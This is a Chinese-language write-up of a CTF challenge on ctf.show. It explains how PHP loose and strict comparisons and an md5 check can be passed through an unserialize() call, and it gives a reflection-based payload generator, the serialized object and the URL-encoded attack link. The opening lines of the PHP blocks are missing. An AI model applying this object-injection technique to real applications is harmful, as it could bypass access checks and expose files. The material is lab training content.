# PHP 类型比较绕过条件解析 其实题目是通过利用 PHP 类型松散比较和严格比较的特性,一开始我想到md5碰撞去了,导致耽搁了很长时间,不过解完之后看官方wp才发现用NAN和INF也行。 ## 代码逻辑分析 以下是题目中的 PHP 代码: ```php d = (string)$this->d; $this->s = (string)$this->s; $this->b = (string)$this->b; if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) { $dsb = $this->d . $this->s . $this->b; if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) { if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { if (md5($dsb) === md5($this->ctf)) { echo file_get_contents("/flag.txt"); } } } } } } unserialize($_GET["dsbctf"]); ?> ``` ### 条件分析 1. **条件一**: ```php if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) ``` - 这是松散比较 `!=`,在 PHP 中会进行类型转换。 - 我们需要满足 `$d != $s`,`$d != $b`,`$s != $b`。 2. **条件二**: ```php if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) ``` - `$dsb = $this->d . $this->s . $this->b;`,且 `$ctf` 的长度也要不超过3字符。 3. **条件三**: ```php if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) ``` - 使用严格比较 `!==`,要求 `$dsb` 和 `$ctf` 的值和类型均不相同。 4. **条件四**: ```php if (md5($dsb) === md5($this->ctf)) ``` - 要求 `$dsb` 和 `$ctf` 的 `md5` 值相等。 ### 利用 PHP 类型特性进行条件绕过 在 PHP 中,`!=` 会进行类型转换,而 `!==` 不会转换类型,这意味着我们可以利用不同的类型来绕过条件。具体利用方法如下: - **设置值**: - `$d = true;` (布尔值 `true`) - `$s = '0';` (字符串 `'0'`) - `$b = null;` (`null` 值) - `$ctf = 10;` (整数 `10`) - **分析值的效果**: - `$d = (string)true;` => `'1'` - `$s = (string)'0';` => `'0'` - `$b = (string)null;` => `''`(空字符串) - `$dsb = '1' . '0' . ''` => `'10'` - **验证各条件**: 1. **条件一:松散比较**: - `$d != $s` => `'1' != '0'`,成立。 - `$d != $b` => `'1' != ''`,成立。 - `$s != $b` => `'0' != ''`,成立。 2. **条件二:长度限制**: - `strlen($dsb) = 2 <= 3`,成立。 - `strlen($ctf) = 2 <= 3`,成立。 3. **条件三:严格不相等**: - `$dsb !== $ctf` => `'10' !== 10`,成立。 4. **条件四:md5 碰撞**: - `md5($dsb) === md5($ctf)` => `md5('10') === md5(10)`,成立。 ### 构造序列化对象 为了通过 URL 传递构造的值,我们需要序列化对象并使用反射来设置私有属性值,具体如下构造即可,用了反射来修改私有变量。 ```php true, 's' => '0', 'b' => null, 'ctf' => 10]; foreach ($properties as $prop => $value) { $property = $refClass->getProperty($prop); $property->setAccessible(true); $property->setValue($object, $value); } // 序列化对象 $serialized = serialize($object); // 输出序列化字符串 echo "序列化字符串:\n" . $serialized . "\n"; // 将序列化字符串URL编码,构造GET参数 $url_encoded = urlencode($serialized); echo "访问链接:https://d7be3d64-2226-40ed-bc20-e99e29267ba6.challenge.ctf.show//?dsbctf=" . $url_encoded . "\n"; ?> ``` ### 最后输出 ``` [root@iZbp1ivn9mqkymzqbqnubsZ cz.caozhexxgweb.cn]# php look.php 序列化字符串: O:7:"ctfshow":4:{s:10:"ctfshowd";b:1;s:10:"ctfshows";s:1:"0";s:10:"ctfshowb";N;s:12:"ctfshowctf";i:10;} 访问链接:https://d7be3d64-2226-40ed-bc20-e99e29267ba6.challenge.ctf.show/?dsbctf=O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bb%3A1%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%220%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3BN%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A10%3B%7D [root@iZbp1ivn9mqkymzqbqnubsZ cz.caozhexxgweb.cn]# ``` # 得到CTF值,完成 ![](https://cz.caozhexxgweb.cn/zb_users/upload/2024/11/202411131319138799286.png)